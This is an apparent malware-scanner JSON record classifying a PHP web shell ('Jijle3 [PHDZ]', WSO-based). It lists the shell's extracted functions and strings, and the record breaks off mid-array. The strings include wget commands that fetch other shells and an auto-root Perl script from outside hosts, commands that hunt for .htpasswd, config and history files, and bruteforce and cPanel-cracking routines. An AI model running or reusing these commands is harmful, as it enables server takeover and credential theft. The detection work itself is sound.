{ "ml": { "v": "4", "fs": [ { "id": 0, "prob": 0.9999685287475586, "class": 2 } ], "prob": 0.9999685, "class": 2, "models": [ { "m": "az", "prob": 0.99819916, "class": 1 }, { "m": "az/scripts", "prob": 0.9997577, "class": 2 }, { "m": "az/php", "prob": 0.9999685, "class": 2 } ], "version": "v16.16", "thresholds": [ 0.9961138, 0.99909174 ], "analyzed_at": "2026-05-09T05:42:20Z" }, "path": "f3.php", "raw": { "v": "4", "fs": [ { "f": "K₂O₁₂(C₂₃As₅Ca₄Co₃Dy₃Er₃ILa₃S₆Xe₆EuP)H₇(Po₈Cm₁₀CrDb₁₄F₁₀Os₅U)Md₄(PaPt)Th₂", "k": { "source.imports[0]": "FetchURL", "source.imports[1]": "WSOsetcookie", "source.imports[2]": "WSOstripslashes", "source.imports[3]": "ZoneH", "source.imports[4]": "addcslashes", "source.imports[5]": "addslashes", "source.imports[6]": "apache_get_modules", "source.imports[7]": "array_key_exists", "source.imports[8]": "array_map", "source.imports[9]": "array_merge", "source.strings[0]": " ", "source.strings[1]": " req.onreadystatechange = processReqChange;", "source.strings[2]": " req.open('POST', url, true);", "source.strings[3]": " req.send(params);", "source.strings[4]": " req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');", "source.strings[5]": " if (req) {", "source.strings[6]": " }", "source.strings[7]": " var a_ = ", "source.strings[8]": " var c_ = ", "source.strings[9]": " var charset_ = ", "source.has_imports": true, "source.imports[10]": "array_unique", "source.imports[11]": "base64_decode", "source.imports[12]": "base64_encode", "source.imports[13]": "basename", "source.imports[14]": "bindec", "source.imports[15]": "bruteForce", "source.imports[16]": "cURL", "source.imports[17]": "call_user_func", "source.imports[18]": "ceil", "source.imports[19]": "cf", "source.imports[20]": "chdir", "source.imports[21]": "chmod", "source.imports[22]": "chr", "source.imports[23]": "class_exists", "source.imports[24]": "clearstatcache", "source.imports[25]": "closedir", "source.imports[26]": "cms_add", "source.imports[27]": "copy", "source.imports[28]": "copy_paste", "source.imports[29]": "count", "source.imports[30]": "crypt", "source.imports[31]": "curl_exec", "source.imports[32]": "curl_init", "source.imports[33]": "curl_setopt", "source.imports[34]": "date", "source.imports[35]": "decbin", "source.imports[36]": "dechex", "source.imports[37]": "define", "source.imports[38]": "deleteDir", "source.imports[39]": "die", "source.imports[40]": "disk_total_space", "source.imports[41]": "diskfreespace", "source.imports[42]": "each", "source.imports[43]": "empty", "source.imports[44]": "enter", "source.imports[45]": "entre2v2", "source.imports[46]": "ereg", "source.imports[47]": "eregi", "source.imports[48]": "error_reporting", "source.imports[49]": "escapeshellarg", "source.imports[50]": "eval", "source.imports[51]": "ex", "source.imports[52]": "exec", "source.imports[53]": "explode", "source.imports[54]": "fclose", "source.imports[55]": "feof", "source.imports[56]": "fgets", "source.imports[57]": "file", "source.imports[58]": "file_exists", "source.imports[59]": "file_get_contents", "source.imports[60]": "file_put_contents", "source.imports[61]": "fileatime", "source.imports[62]": "filectime", "source.imports[63]": "filegroup", "source.imports[64]": "filemtime", "source.imports[65]": "fileowner", "source.imports[66]": "fileperms", "source.imports[67]": "filesize", "source.imports[68]": "filetype", "source.imports[69]": "flush", "source.imports[70]": "fopen", "source.imports[71]": "fputs", "source.imports[72]": "fread", "source.imports[73]": "ftp_close", "source.imports[74]": "ftp_connect", "source.imports[75]": "ftp_login", "source.imports[76]": "func_get_arg", "source.imports[77]": "func_num_args", "source.imports[78]": "function_exists", "source.imports[79]": "fwrite", "source.imports[80]": "getClientIp", "source.imports[81]": "get_current_user", "source.imports[82]": "get_headers", "source.imports[83]": "get_loaded_extensions", "source.imports[84]": "get_magic_quotes_gpc", "source.imports[85]": "getcwd", "source.imports[86]": "getenv", "source.imports[87]": "gethostbyname", "source.imports[88]": "getmygid", "source.imports[89]": "getmyuid", "source.imports[90]": "glob", "source.imports[91]": "header", "source.imports[92]": "headers_sent", "source.imports[93]": "hexdec", "source.imports[94]": "highlight_file", "source.imports[95]": "htmlspecialchars", "source.imports[96]": "iconv", "source.imports[97]": "implode", "source.imports[98]": "in_array", "source.imports[99]": "ini_get", "source.strings[10]": " var d = document;", "source.strings[11]": " var p1_ = ", "source.strings[12]": " var p2_ = ", "source.strings[13]": " var p3_ = ", "source.strings[14]": " !important; }", "source.strings[15]": "#toolsTbl{ text-align:center; }", "source.strings[16]": ", 'm');", "source.strings[17]": ", params);", "source.strings[18]": ", params);\\r\\n\\t}\\r\\n\\tfunction sr(url, params) {\\r\\n\\t\\tif (window.XMLHttpRequest)\\r\\n\\t\\t\\treq = new XMLHttpRequest();\\r\\n\\t\\telse if (window.ActiveXObject)\\r\\n\\t\\t\\treq = new ActiveXObject('Microsoft.XMLHTTP');\\r\\n if (req) {\\r\\n req.onreadystatechange = processReqChange;\\r\\n req.open('POST', url, true);\\r\\n req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');\\r\\n req.send(params);\\r\\n }\\r\\n\\t}\\r\\n\\tfunction processReqChange() {\\r\\n\\t\\tif( (req.readyState == 4) )\\r\\n\\t\\t\\tif(req.status == 200) {\\r\\n\\t\\t\\t\\tvar reg = new RegExp(\\\"(\\\\\\\\d+)([\\\\\\\\S\\\\\\\\s]*)\\\", 'm');\\r\\n\\t\\t\\t\\tvar arr=reg.exec(req.responseText);\\r\\n\\t\\t\\t\\teval(arr[2].substr(0, arr[1]));\\r\\n\\t\\t\\t} else alert('Request error!');\\r\\n\\t}\\r\\n \\r\\n\u003c/script\u003e\\r\\n\u003chead\u003e\u003cbody\u003e\u003cdiv style='position:absolute;width:100%;background-color:#444;top:0;left:0;'\u003e\\r\\n\u003cform method=post name=mf style='display:none;'\u003e\\r\\n\u003cinput type=hidden name=a\u003e\\r\\n\u003cinput type=hidden name=c\u003e\\r\\n\u003cinput type=hidden name=p1\u003e\\r\\n\u003cinput type=hidden name=p2\u003e\\r\\n\u003cinput type=hidden name=p3\u003e\\r\\n\u003cinput type=hidden name=charset\u003e\\r\\n\u003c/form\u003e", "source.strings[19]": ".bigarea{ width:100%;height:300px; }", "source.strings[20]": ".l1{background-color:#444}", "source.strings[21]": ".l2{background-color:#333}", "source.strings[22]": ".main th{text-align:left;background-color:#5e5e5e;}", "source.strings[23]": ".main tr:hover{background-color:#5e5e5e}", "source.strings[24]": ".ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }", "source.strings[25]": ".toolsInp{ width: 300px }", "source.strings[26]": "1n73ction Shell | pass:1n73ction ", "source.strings[27]": "; font: 9pt Monospace,'Courier New'; }", "source.strings[28]": ";\\r\\n var a_ = ", "source.strings[29]": ";\\r\\n var d = document;\\r\\n\\tfunction set(a,c,p1,p2,p3,charset) {\\r\\n\\t\\tif(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;\\r\\n\\t\\tif(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;\\r\\n\\t\\tif(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;\\r\\n\\t\\tif(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;\\r\\n\\t\\tif(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;\\r\\n\\t\\tif(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;\\r\\n\\t}\\r\\n\\tfunction g(a,c,p1,p2,p3,charset) {\\r\\n\\t\\tset(a,c,p1,p2,p3,charset);\\r\\n\\t\\td.mf.submit();\\r\\n\\t}\\r\\n\\tfunction a(a,c,p1,p2,p3,charset) {\\r\\n\\t\\tset(a,c,p1,p2,p3,charset);\\r\\n\\t\\tvar params = 'ajax=true';\\r\\n\\t\\tfor(i=0;i\u003cd.mf.elements.length;i++)\\r\\n\\t\\t\\tparams += '\u0026'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);\\r\\n\\t\\tsr(", "source.strings[30]": ";\\r\\n var p1_ = ", "source.strings[31]": ";\\r\\n var p2_ = ", "source.strings[32]": ";\\r\\n var p3_ = ", "source.strings[33]": ";padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }", "source.strings[34]": "\u003c/form\u003e", "source.strings[35]": "\u003c/script\u003e", "source.strings[36]": "\u003c/style\u003e", "source.strings[37]": "\u003ca href='#' onclick='g(", "source.strings[38]": "\u003ca href='#' onclick='g(\\\"FilesMan\\\",\\", "source.strings[39]": "\u003cform method=post name=mf style='display:none;'\u003e", "source.strings[40]": "\u003ch3\u003eThis script has been expired.\u003c/h3\u003e\u003cp\u003eThe script was encrypted using the free trial version of PHP Protector. Files encrypted using the trial version are valid only for 24 hours.\u003c/p\u003e", "source.strings[41]": "\u003chead\u003e\u003cbody\u003e\u003cdiv style='position:absolute;width:100%;background-color:#444;top:0;left:0;'\u003e", "source.strings[42]": "\u003chtml\u003e\u003chead\u003e\u003cmeta http-equiv='Content-Type' content='text/html; charset=", "source.strings[43]": "\u003cinput type=hidden name=a\u003e", "source.strings[44]": "\u003cinput type=hidden name=c\u003e", "source.strings[45]": "\u003cinput type=hidden name=charset\u003e", "source.strings[46]": "\u003cinput type=hidden name=p1\u003e", "source.strings[47]": "\u003cinput type=hidden name=p2\u003e", "source.strings[48]": "\u003cinput type=hidden name=p3\u003e", "source.strings[49]": "\u003cpre align=center\u003e\u003cform method=post\u003ePassword: \u003cinput type=Password name=pass\u003e\u003cinput type=submit value='\u003e\u003e'\u003e\u003c/form\u003e\u003c/pre\u003e", "source.strings[50]": "\u003cscript\u003e", "source.strings[51]": "\u003cstyle\u003e", "source.strings[52]": "\u003e\u003ctitle\u003e", "source.strings[53]": "ARP Table", "source.strings[54]": "AutoRoot [ FreeBSD ]", "source.strings[55]": "AutoRoot [ Linux ]", "source.strings[56]": "AutoRoot [ SunOS ]", "source.strings[57]": "Check MMAP", "source.strings[58]": "Cyber Shell | pass:Jijle3", "source.strings[59]": "Dhanush Shell | pass:Jijle3", "source.strings[60]": "Downloaders?)", "source.strings[61]": "FilesMan", "source.strings[62]": "Find *config*.php in current dir", "source.strings[63]": "Find index.php in current dir", "source.strings[64]": "First ! : GET Auto Root File [ Perl ]", "source.strings[65]": "Get cpanel logs", "source.strings[66]": "HTTP_HOST", "source.strings[67]": "IP Addresses", "source.strings[68]": "IP Configuration", "source.strings[69]": "Jijle3 : Auto Root Commonds", "source.strings[70]": "Jijle3 : Get Nother Shells", "source.strings[71]": "Jijle3 : Some Commonds", "source.strings[72]": "K2ll33d Shell ", "source.strings[73]": "Last to connect", "source.strings[74]": "Linux Kernel ", "source.strings[75]": "List Directory", "source.strings[76]": "List dir", "source.strings[77]": "List of Cpanel`s domains(valiases)", "source.strings[78]": "Locate", "source.strings[79]": "Logged in users", "source.strings[80]": "Memory check", "source.strings[81]": "REQUEST_URI", "source.strings[82]": "Show active connections", "source.strings[83]": "Show computers", "source.strings[84]": "Show running proccess", "source.strings[85]": "Show running services", "source.strings[86]": "USER WITHOUT PASSWORD!", "source.strings[87]": "User accounts", "source.strings[88]": "WSO_VERSION", "source.strings[89]": "WSOstripslashes", "source.strings[90]": "Windows-1251", "source.strings[91]": "\\r\\n var charset_ = ", "source.strings[92]": "a:hover{ text-decoration:underline; }", "source.strings[93]": "arp -a", "source.strings[94]": "a{ text-decoration:none; }", "source.strings[95]": "body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }", "source.strings[96]": "body{background-color:#444;color:#e1e1e1;}", "source.strings[97]": "cat /etc/hosts", "source.strings[98]": "cat /proc/meminfo", "source.strings[99]": "cat /proc/sys/vm/mmap_min_addr", "source.functions[0]": "DbClass", "source.functions[1]": "WSOsetcookie", "source.functions[2]": "WSOstripslashes", "source.functions[3]": "actionBruteforce", "source.functions[4]": "actionConsole", "source.functions[5]": "actionDomain", "source.functions[6]": "actionFilesMan", "source.functions[7]": "actionFilesTools", "source.functions[8]": "actionLogout", "source.functions[9]": "actionNetwork", "source.imports[100]": "ini_restore", "source.imports[101]": "ini_set", "source.imports[102]": "is_array", "source.imports[103]": "is_dir", "source.imports[104]": "is_file", "source.imports[105]": "is_link", "source.imports[106]": "is_numeric", "source.imports[107]": "is_readable", "source.imports[108]": "is_resource", "source.imports[109]": "is_writable", "source.imports[110]": "isset", "source.imports[111]": "join", "source.imports[112]": "md5", "source.imports[113]": "mime_content_type", "source.imports[114]": "mkdir", "source.imports[115]": "move_uploaded_file", "source.imports[116]": "mysql_close", "source.imports[117]": "mysql_connect", "source.imports[118]": "mysql_error", "source.imports[119]": "mysql_fetch_array", "source.imports[120]": "mysql_fetch_assoc", "source.imports[121]": "mysql_get_client_info", "source.imports[122]": "mysql_query", "source.imports[123]": "mysql_real_escape_string", "source.imports[124]": "mysql_select_db", "source.imports[125]": "mysql_set_charset", "source.imports[126]": "nl2br", "source.imports[127]": "ob_get_clean", "source.imports[128]": "ob_start", "source.imports[129]": "opendir", "source.imports[130]": "ord", "source.imports[131]": "passthru", "source.imports[132]": "pclose", "source.imports[133]": "pg_close", "source.imports[134]": "pg_connect", "source.imports[135]": "pg_fetch_assoc", "source.imports[136]": "pg_last_error", "source.imports[137]": "pg_query", "source.imports[138]": "pg_set_client_encoding", "source.imports[139]": "php_uname", "source.imports[140]": "phpinfo", "source.imports[141]": "phpversion", "source.imports[142]": "popen", "source.imports[143]": "posix_getcwd", "source.imports[144]": "posix_getegid", "source.imports[145]": "posix_geteuid", "source.imports[146]": "posix_getgrgid", "source.imports[147]": "posix_getpwuid", "source.imports[148]": "pow", "source.imports[149]": "preg_match", "source.imports[150]": "preg_match_all", "source.imports[151]": "preg_replace", "source.imports[152]": "printHeader", "source.imports[153]": "range", "source.imports[154]": "readdir", "source.imports[155]": "readlink", "source.imports[156]": "realpath", "source.imports[157]": "rename", "source.imports[158]": "replace", "source.imports[159]": "reset", "source.imports[160]": "rmdir", "source.imports[161]": "scandir", "source.imports[162]": "serialize", "source.imports[163]": "session_destroy", "source.imports[164]": "set_magic_quotes_runtime", "source.imports[165]": "set_time_limit", "source.imports[166]": "setcookie", "source.imports[167]": "shell_exec", "source.imports[168]": "sleep", "source.imports[169]": "sprintf", "source.imports[170]": "strLen", "source.imports[171]": "str_replace", "source.imports[172]": "strcmp", "source.imports[173]": "stripslashes", "source.imports[174]": "strlen", "source.imports[175]": "strpos", "source.imports[176]": "strtok", "source.imports[177]": "strtolower", "source.imports[178]": "strtotime", "source.imports[179]": "strtoupper", "source.imports[180]": "substr", "source.imports[181]": "symlink", "source.imports[182]": "system", "source.imports[183]": "tempnam", "source.imports[184]": "time", "source.imports[185]": "touch", "source.imports[186]": "trim", "source.imports[187]": "unlink", "source.imports[188]": "urldecode", "source.imports[189]": "urlencode", "source.imports[190]": "usort", "source.imports[191]": "wsoEx", "source.imports[192]": "wsoFooetr", "source.imports[193]": "wsoFooter", "source.imports[194]": "wsoHeader", "source.imports[195]": "wsoLogin", "source.imports[196]": "wsoPerms", "source.imports[197]": "wsoPermsColor", "source.imports[198]": "wsoRecursiveGlob", "source.imports[199]": "wsoSecParam", "source.imports[200]": "wsoViewSize", "source.imports[201]": "wsoWhich", "source.strings[100]": "cat /var/cpanel/accounting.log", "source.strings[101]": "charset", "source.strings[102]": "chmod 777 phdz.pl ; perl phdz.pl bsd", "source.strings[103]": "chmod 777 phdz.pl ; perl phdz.pl linux", "source.strings[104]": "chmod 777 phdz.pl ; perl phdz.pl sunos", "source.strings[105]": "config*", "source.strings[106]": "cut -d: -f1,2,3 /etc/passwd | grep ::", "source.strings[107]": "d.mf.submit();", "source.strings[108]": "default_charset", "source.strings[109]": "dir /s /w /b *config*.php", "source.strings[110]": "dir /s /w /b index.php", "source.strings[111]": "disable_functions", "source.strings[112]": "div.content{ padding: 5px;margin-left:5px;background-color:#333; }", "source.strings[113]": "else if (window.ActiveXObject)", "source.strings[114]": "error_log", "source.strings[115]": "eval(arr[2].substr(0, arr[1]));", "source.strings[116]": "find . -perm -2 -ls", "source.strings[117]": "find . -type f -name ", "source.strings[118]": "find . -type f -name .bash_history", "source.strings[119]": "find . -type f -name .fetchmailrc", "source.strings[120]": "find . -type f -name .htpasswd", "source.strings[121]": "find . -type f -name \\\"config*\\", "source.strings[122]": "find . -type f -name service.pwd", "source.strings[123]": "find . -type f -perm -02000 -ls", "source.strings[124]": "find . -type f -perm -04000 -ls", "source.strings[125]": "find .bash_history files in current dir", "source.strings[126]": "find .fetchmailrc files in current dir", "source.strings[127]": "find .htpasswd files in current dir", "source.strings[128]": "find / -perm -2 -ls", "source.strings[129]": "find / -type f -name ", "source.strings[130]": "find / -type f -name .bash_history", "source.strings[131]": "find / -type f -name .fetchmailrc", "source.strings[132]": "find / -type f -name .htpasswd", "source.strings[133]": "find / -type f -name \\\"config*\\", "source.strings[134]": "find / -type f -name config.inc.php", "source.strings[135]": "find / -type f -name service.pwd", "source.strings[136]": "find / -type f -perm -02000 -ls", "source.strings[137]": "find / -type f -perm -04000 -ls", "source.strings[138]": "find all .bash_history files", "source.strings[139]": "find all .fetchmailrc files", "source.strings[140]": "find all .htpasswd files", "source.strings[141]": "find all service.pwd files", "source.strings[142]": "find all sgid files", "source.strings[143]": "find all suid files", "source.strings[144]": "find all writable folders and files", "source.strings[145]": "find all writable folders and files in current dir", "source.strings[146]": "find config* files", "source.strings[147]": "find config* files in current dir", "source.strings[148]": "find config.inc.php files", "source.strings[149]": "find service.pwd files in current dir", "source.strings[150]": "find sgid files in current dir", "source.strings[151]": "find suid files in current dir", "source.strings[152]": "for(i=0;i\u003cd.mf.elements.length;i++)", "source.strings[153]": "form{ margin:0px; }", "source.strings[154]": "function a(a,c,p1,p2,p3,charset) {", "source.strings[155]": "function g(a,c,p1,p2,p3,charset) {", "source.strings[156]": "function processReqChange() {", "source.strings[157]": "function set(a,c,p1,p2,p3,charset) {", "source.strings[158]": "function sr(url, params) {", "source.strings[159]": "h1{ border-left:5px solid ", "source.strings[160]": "http://exploit-db.com/search/?action=search\u0026filter_description=", "source.strings[161]": "if (window.XMLHttpRequest)", "source.strings[162]": "if( (req.readyState == 4) )", "source.strings[163]": "if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;", "source.strings[164]": "if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;", "source.strings[165]": "if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;", "source.strings[166]": "if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;", "source.strings[167]": "if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;", "source.strings[168]": "if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;", "source.strings[169]": "if(req.status == 200) {", "source.strings[170]": "input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid ", "source.strings[171]": "ipconfig /all", "source.strings[172]": "lastlog", "source.strings[173]": "list file attributes on a Linux second extended file system", "source.strings[174]": "locate '.bash_history", "source.strings[175]": "locate '.conf", "source.strings[176]": "locate '.fetchmailrc", "source.strings[177]": "locate '.htpasswd", "source.strings[178]": "locate '.mysql_history", "source.strings[179]": "locate '.pwd", "source.strings[180]": "locate '.sql", "source.strings[181]": "locate .bash_history files", "source.strings[182]": "locate .conf files", "source.strings[183]": "locate .fetchmailrc files", "source.strings[184]": "locate .htpasswd files", "source.strings[185]": "locate .mysql_history files", "source.strings[186]": "locate .pwd files", "source.strings[187]": "locate .sql files", "source.strings[188]": "locate admin.php", "source.strings[189]": "locate admin.php files", "source.strings[190]": "locate backup", "source.strings[191]": "locate backup files", "source.strings[192]": "locate cfg.php", "source.strings[193]": "locate cfg.php files", "source.strings[194]": "locate conf.php", "source.strings[195]": "locate conf.php files", "source.strings[196]": "locate config", "source.strings[197]": "locate config* files ", "source.strings[198]": "locate config.dat", "source.strings[199]": "locate config.dat files", "source.strings[200]": "locate config.default.php", "source.strings[201]": "locate config.default.php files", "source.strings[202]": "locate config.inc", "source.strings[203]": "locate config.inc files", "source.strings[204]": "locate config.inc.php", "source.strings[205]": "locate config.php", "source.strings[206]": "locate config.php files", "source.strings[207]": "locate dump", "source.strings[208]": "locate dump files", "source.strings[209]": "locate httpd.conf", "source.strings[210]": "locate httpd.conf files", "source.strings[211]": "locate my.conf", "source.strings[212]": "locate my.conf files", "source.strings[213]": "locate priv", "source.strings[214]": "locate priv files", "source.strings[215]": "locate proftpd.conf", "source.strings[216]": "locate proftpd.conf files", "source.strings[217]": "locate psybnc.conf", "source.strings[218]": "locate psybnc.conf files", "source.strings[219]": "locate vhosts.conf", "source.strings[220]": "locate vhosts.conf files", "source.strings[221]": "log_errors", "source.strings[222]": "ls -l /etc/valiases", "source.strings[223]": "ls -lha", "source.strings[224]": "lsattr -va", "source.strings[225]": "max_execution_time", "source.strings[226]": "net start", "source.strings[227]": "net user", "source.strings[228]": "net view", "source.strings[229]": "netstat -an", "source.strings[230]": "netstat -an | grep -i listen", "source.strings[231]": "params += '\u0026'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);", "source.strings[232]": "posix_getegid", "source.strings[233]": "pre{font-family:Courier,Monospace;}", "source.strings[234]": "process status", "source.strings[235]": "ps aux", "source.strings[236]": "req = new ActiveXObject('Microsoft.XMLHTTP');", "source.strings[237]": "req = new XMLHttpRequest();", "source.strings[238]": "safe_mode", "source.strings[239]": "set(a,c,p1,p2,p3,charset);", "source.strings[240]": "show opened ports", "source.strings[241]": "span,h1,a{ color: ", "source.strings[242]": "span{ font-weight: bolder; }", "source.strings[243]": "table.info{ color:#fff;background-color:#222; }", "source.strings[244]": "var arr=reg.exec(req.responseText);", "source.strings[245]": "var params = 'ajax=true';", "source.strings[246]": "var reg = new RegExp(", "source.strings[247]": "wget http://download944.mediafire.com/5fi1yfk5ttcg/u4seoaw7ze1dio0/phdz.pl.zip ; unzip phdz.pl.zip ", "source.strings[248]": "wget http://rghost.net/download/6WfcL8QGm/72050d9b869a35adaab9daefebb602e97d760287/cyb3.zip ; unzip cyb3.zip", "source.strings[249]": "wget http://rghost.net/download/7B6kqmyYj/3b84a7fef8febc6cf18d652223d4697797bccae2/dhanush.zip ; unzip dhanush.zip", "source.strings[250]": "wget http://rghost.net/download/85jlz7zBD/7da509e6fe997f6c91933ebd56d78b2ba5f57281/1n73ction.zip ; unzip 1n73ction.zip", "source.strings[251]": "wget http://rghost.net/download/86BFhr2vq/16867e2921650f8215133a65e512638054f79a3b/kil223dd.zip ; unzip kil223dd.zip", "source.strings[252]": "which wget curl w3m lynx", "source.strings[253]": "|Jijle3 [PHDZ]\u003c/title\u003e", "source.strings[254]": "|Jijle3 [PHDZ]\u003c/title\u003e\\r\\n\u003cstyle\u003e\\r\\nbody{background-color:#444;color:#e1e1e1;}\\r\\nbody,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }\\r\\ntable.info{ color:#fff;background-color:#222; }\\r\\nspan,h1,a{ color: {$color} !important; }\\r\\nspan{ font-weight: bolder; }\\r\\nh1{ border-left:5px solid {$color};padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }\\r\\ndiv.content{ padding: 5px;margin-left:5px;background-color:#333; }\\r\\na{ text-decoration:none; }\\r\\na:hover{ text-decoration:underline; }\\r\\n.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }\\r\\n.bigarea{ width:100%;height:300px; }\\r\\ninput,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid {$color}; font: 9pt Monospace,'Courier New'; }\\r\\nform{ margin:0px; }\\r\\n#toolsTbl{ text-align:center; }\\r\\n.toolsInp{ width: 300px }\\r\\n.main th{text-align:left;background-color:#5e5e5e;}\\r\\n.main tr:hover{background-color:#5e5e5e}\\r\\n.l1{background-color:#444}\\r\\n.l2{background-color:#333}\\r\\npre{font-family:Courier,Monospace;}\\r\\n\u003c/style\u003e\\r\\n\u003cscript\u003e\\r\\n var c_ = ", "source.strings[255]": "} else alert('Request error!');", "source.functions[10]": "actionPhp", "source.functions[11]": "actionRC", "source.functions[12]": "actionSafeMode", "source.functions[13]": "actionSecInfo", "source.functions[14]": "actionSelfRemove", "source.functions[15]": "actionSql", "source.functions[16]": "actionStringTools", "source.functions[17]": "actionabout", "source.functions[18]": "actionbypss", "source.functions[19]": "actioncgi", "source.functions[20]": "actioncms", "source.functions[21]": "actionconfig", "source.functions[22]": "actionconfigsh", "source.functions[23]": "actioncpcrack", "source.functions[24]": "actiondomains", "source.functions[25]": "actionetcbaypass", "source.functions[26]": "actionetcnmd", "source.functions[27]": "actionforum", "source.functions[28]": "actionftpsmtp", "source.functions[29]": "actionhome", "source.functions[30]": "actioninject", "source.functions[31]": "actionipb", "source.functions[32]": "actionjmkey", "source.functions[33]": "actionjmsym", "source.functions[34]": "actionlfiscan", "source.functions[35]": "actionmass", "source.functions[36]": "actionphpbb", "source.functions[37]": "actions3r", "source.functions[38]": "actionshellfind", "source.functions[39]": "actionsub", "source.functions[40]": "actionsym", "source.functions[41]": "actionsymlinker", "source.functions[42]": "actionsymserver", "source.functions[43]": "actiontools", "source.functions[44]": "actionuserchecker", "source.functions[45]": "actionvbindex", "source.functions[46]": "actionwpkey", "source.functions[47]": "actionwpsym", "source.functions[48]": "actionzoneh", "source.functions[49]": "ascii2hex", "source.functions[50]": "binhex", "source.functions[51]": "bruteForce", "source.functions[52]": "cURL", "source.functions[53]": "cf", "source.functions[54]": "connect", "source.functions[55]": "copy_paste", "source.functions[56]": "deleteDir", "source.functions[57]": "dump", "source.functions[58]": "enter", "source.functions[59]": "entre2v2", "source.functions[60]": "error", "source.functions[61]": "ex", "source.functions[62]": "fetch", "source.functions[63]": "full_urlencode", "source.functions[64]": "hex2ascii", "source.functions[65]": "hex2bin", "source.functions[66]": "listDbs", "source.functions[67]": "listTables", "source.functions[68]": "loadFile", "source.functions[69]": "move_paste", "source.functions[70]": "posix_getgrgid", "source.functions[71]": "posix_getpwuid", "source.functions[72]": "query", "source.functions[73]": "replace", "source.functions[74]": "selectdb", "source.functions[75]": "setCharset", "source.functions[76]": "wsoCmp", "source.functions[77]": "wsoEx", "source.functions[78]": "wsoFooter", "source.functions[79]": "wsoHeader", "source.functions[80]": "wsoLogin", "source.functions[81]": "wsoPerms", "source.functions[82]": "wsoPermsColor", "source.functions[83]": "wsoRecursiveGlob", "source.functions[84]": "wsoScandir", "source.functions[85]": "wsoSecParam", "source.functions[86]": "wsoViewSize", "source.functions[87]": "wsoWhich" }, "x": 899, "id": 0, "is": [ "time", "time", "ini_set", "ini_set", "ini_set", "set_time_limit", "set_magic_quotes_runtime", "define", "get_magic_quotes_gpc", "is_array", "array_map", "stripslashes", "WSOstripslashes", "WSOstripslashes", "die", "setcookie", "empty", "isset", "md5", "WSOsetcookie", "md5", "isset", "md5", "md5", "wsoLogin", "strtolower", "substr", "ini_get", "error_reporting", "ini_get", "getcwd", "isset", "chdir", "getcwd", "str_replace", "str_replace", "strlen", "isset", "md5", "md5", "empty", "htmlspecialchars", "htmlspecialchars", "htmlspecialchars", "strpos", "htmlspecialchars", "strpos", "htmlspecialchars", "strpos", "htmlspecialchars", "addslashes", "diskfreespace", "disk_total_space", "php_uname", "php_uname", "strpos", "urlencode", "substr", "urlencode", "substr", "function_exists", "get_current_user", "getmyuid", "getmygid", "posix_getpwuid", "posix_geteuid", "posix_getgrgid", "posix_getegid", "explode", "count", "empty", "count", "range", "is_dir", "substr", "php_uname", "urlencode", "php_uname", "urlencode", "php_uname", "urlencode", "php_uname", "urlencode", "php_uname", "phpversion", "date", "wsoViewSize", "wsoViewSize", "wsoPermsColor", "is_writable", "htmlspecialchars", "isset", "function_exists", "strpos", "function_exists", "strpos", "function_exists", "exec", "join", "function_exists", "ob_start", "passthru", "ob_get_clean", "function_exists", "ob_start", "system", "ob_get_clean", "function_exists", "shell_exec", "is_resource", "popen", "feof", "fread", "pclose", "sprintf", "sprintf", "sprintf", "is_readable", "wsoPerms", "fileperms", "is_writable", "wsoPerms", "fileperms", "wsoPerms", "fileperms", "function_exists", "scandir", "opendir", "readdir", "wsoEx", "empty", "wsoHeader", "trim", "strpos", "wsoSecParam", "getenv", "function_exists", "wsoSecParam", "implode", "apache_get_modules", "wsoSecParam", "wsoSecParam", "ini_get", "wsoSecParam", "ini_get", "wsoSecParam", "ini_get", "wsoSecParam", "function_exists", "function_exists", "mysql_get_client_info", "function_exists", "function_exists", "function_exists", "wsoSecParam", "implode", "wsoSecParam", "is_readable", "wsoSecParam", "is_readable", "wsoSecParam", "file_get_contents", "wsoSecParam", "file_get_contents", "wsoWhich", "wsoSecParam", "implode", "wsoWhich", "wsoSecParam", "implode", "wsoWhich", "wsoSecParam", "implode", "wsoSecParam", "wsoEx", "wsoSecParam", "file_get_contents", "wsoSecParam", "wsoEx", "wsoSecParam", "wsoEx", "wsoSecParam", "wsoEx", "wsoFooter", "wsoHeader", "gethostbyname", "wsoFooter", "wsoHeader", "error_reporting", "FetchURL", "FetchURL", "md5", "md5", "FetchURL", "md5", "FetchURL", "FetchURL", "md5", "md5", "FetchURL", "md5", "FetchURL", "FetchURL", "md5", "md5", "FetchURL", "md5", "FetchURL", "FetchURL", "md5", "md5", "FetchURL", "md5", "FetchURL", "FetchURL", "md5", "md5", "FetchURL", "md5", "FetchURL", "FetchURL", "md5", "md5", "FetchURL", "md5", "FetchURL", "FetchURL", "md5", "md5", "FetchURL", "md5", "wsoFooter", "wsoHeader", "empty", "file_get_contents", "ini_get", "eregi", "die", "mkdir", "chdir", "file_put_contents", "explode", "explode", "symlink", "symlink", "symlink", "symlink", "symlink", "symlink", "symlink", "symlink", "symlink", "symlink", "symlink", "symlink", "symlink", "symlink", "symlink", "symlink", "symlink", "symlink", "symlink", "symlink", "symlink", "symlink", "symlink", "symlink", "symlink", "symlink", "symlink", "symlink", "symlink", "symlink", "symlink", "symlink", "wsoFooter", 